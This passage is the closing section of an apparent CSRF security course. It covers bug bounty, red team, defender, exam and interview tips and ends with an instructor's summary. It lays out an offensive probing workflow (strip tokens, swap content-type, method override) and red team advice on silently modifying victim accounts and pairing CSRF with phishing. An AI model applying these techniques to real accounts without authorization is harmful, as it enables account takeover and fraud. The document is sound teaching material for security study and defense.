  • Save full HTTP traces and screenshots for every confirmed CSRF; reports without them get downgraded.

Bug bounty tips

  • CSRF on email change or password change endpoints regularly pays in the $5,000-$20,000 range on mature programs.
  • CSRF on transfer/payment endpoints or admin destructive actions can pay $10,000-$50,000.
  • Reports must demonstrate concrete impact (state change, ATO, fund loss) -- "no CSRF token" alone gets rejected as informational.
  • Combine with XSS, CORS misconfiguration, subdomain takeover, or clickjacking for compound severity.
  • Include a hosted PoC URL, an HTTP trace, and a video/screenshot of the action firing in a fresh session.

Red team tips

  • CSRF is quiet: no malware, no exploits, no credential theft.
  • Useful in long-running campaigns where you silently modify victim accounts over time (e.g., add backup email, register attacker as recovery contact).
  • Combined with phishing infrastructure: the phishing page can be the CSRF launch page; victim never has to type credentials.
  • Login CSRF is underused but devastating against e-commerce, fintech, and ad platforms where victim data accumulates in the attacker's account.

Defender tips

  • Apply CSRF defenses through centralized middleware, never per-controller. Per-controller decisions are how regressions ship.
  • Treat any `@csrf_exempt`, `http.csrf().disable()`, missing `[ValidateAntiForgeryToken]`, or `skip_before_action :verify_authenticity_token` as a code-review block.
  • Enforce SameSite at the cookie issuance point; do not leave it to template defaults.
  • Add a CI check that asserts the presence and validation of CSRF tokens on every state-changing route.
  • Use `Sec-Fetch-Site: cross-site` to reject writes; modern browsers send this automatically.

Real-world advice

  • Modern frameworks (Django, Rails, Spring Security, Laravel, ASP.NET Core) ship CSRF protection by default. The bug almost always appears when a developer disables it or rolls a custom path.
  • SPAs that use bearer tokens are not CSRF-vulnerable for token-auth endpoints, but their cookie-auth endpoints (login, OAuth callback, web UI) are.
  • Mobile-only APIs using bearer tokens are CSRF-immune, but a hybrid app that mixes cookies and tokens often has gaps.
  • WebSocket connections do not honor the same CSRF model; CSWSH (Cross-Site WebSocket Hijacking) is a related class with its own defenses (validate `Origin` on the WS upgrade).
  • Integration management endpoints (connect Slack, change webhook URL, register OAuth client) are recurring CSRF targets with persistent-access impact.

Things to remember during exams

  • CWE-352 = CSRF.
  • OWASP A01:2021 Broken Access Control covers CSRF (was A8:2017).
  • CORS does NOT prevent CSRF.
  • Cookies travel by destination, not by origin.
  • `text/plain` is the canonical modern JSON CSRF bypass.
  • SameSite=Strict is the strongest cookie-level defense; SameSite=Lax is the modern browser default.
  • Defense in depth: token + SameSite + Origin + custom header + content-type + re-auth.

Frequently confused concepts

  • CSRF vs CORS -- CSRF forges requests; CORS limits reading responses. Different layers.
  • CSRF vs XSS -- XSS injects code into the target; CSRF causes the browser to send a forged request.
  • CSRF vs Clickjacking -- Clickjacking requires a click; CSRF does not.
  • Synchronizer token vs double-submit cookie -- both are tokens, but one is stored in session, the other in a non-session cookie. Both must be compared server-side and bound to the user.
  • Reflected vs stored CSRF -- reflected fires via attacker page; stored (rare) fires via injection into target's own page.

Interview tips

  • Be ready to explain why "the user is logged in" is authentication, not authorization-of-intent.
  • Cite Netflix 2008 as the historical landmark and Argo CD ($4,660 IBB), Dropbox ($1,728), Apache Airflow CVE-2023-49920 as 2023+ examples.
  • Explain the full defense stack in one breath: token, SameSite, Origin, custom header, content-type, re-auth.
  • Be able to draw the destination-based cookie attachment diagram on a whiteboard.
  • Explain why CORS does not prevent CSRF (response readability vs request emission).

Key takeaways

  • CSRF exists because browsers attach cookies to requests by destination, not by initiator.
  • The fix is layered; no single layer is enough against modern bypasses.
  • Bug bounty payouts range from low (settings toggle) to critical (cluster compromise, ATO, financial loss).
  • Modern frameworks default to safe; the bug appears when defaults are disabled or custom paths skip them.
  • Real disclosed reports in 2023+ on Argo CD, Apache Airflow, Dropbox, TikTok, Slack, Shopify, Mail.ru, Mozilla, IBM, Coinbase, Ubiquiti -- this is not history.

SECTION 24. Final Word from Your Instructor

You finished the CSRF course. You now know more about this bug class than most working backend developers, and enough to find it, exploit it responsibly, and fix it in any codebase.

Here is the short version.

CSRF works because the browser attaches cookies to requests based on where they are going, not based on where they were initiated. A page on `attacker.com` can ask the browser to send a request to `target.com`, and the browser will attach the cookies it has for `target.com`. The server sees a request that looks like the user just submitted a form on `target.com`. The server cannot tell the difference. The state changes. The bug is born.

The defense is layered: a synchronizer CSRF token bound to the session, `SameSite=Strict` or `Lax` cookies, server-side Origin/Referer validation with exact matching, a required custom header that cannot be forged cross-origin without preflight, content-type lock-down to `application/json` on writes, and re-authentication on high-risk actions. No single layer is enough; together they cover the bypasses listed in section 11. The modern auxiliary check is `Sec-Fetch-Site: cross-site`, which browsers send automatically and which servers can reject on writes.

On the offensive side, the workflow is short. Capture a state-changing request. Strip the token, then the Origin, then the Referer, then swap the content-type, then try method override, then test the SameSite cookie's behavior across browsers. The first variation that succeeds is the report. Escalate to impact: email change -> password reset -> account takeover; transfer -> funds extraction; admin -> bulk deletion.

The disclosed reports prove CSRF is alive in 2026. Argo CD CSRF paid $4,660 for a chain that led to Kubernetes cluster compromise. Dropbox CSRF paid $1,728 for OAuth token exfiltration on a Google Drive integration. Apache Airflow shipped CVE-2023-49920 specifically for missing CSRF protection on DAG trigger endpoints. TikTok paid $1,000 for CSRF on the ads portal. Slack paid $500 for CSRF in the GitHub integration. HackerOne itself disclosed CSRF in its JIRA escalation pipeline. The pattern is not historical; it is current.

When you see a state-changing endpoint, ask: where is the token? What is the cookie's SameSite? Does the server validate Origin? Does it accept text/plain? Does method override work? Is there a sibling subdomain that shares cookies? Is the action reachable via GET? Each question is a probe. Each probe that succeeds is a finding.

Stay curious. Stay ethical. Verify scope before you touch anything. The browser will obey almost anyone who asks correctly; your job is to know when "asking correctly" was actually you, and when it was someone else using your hand.

Go hunt.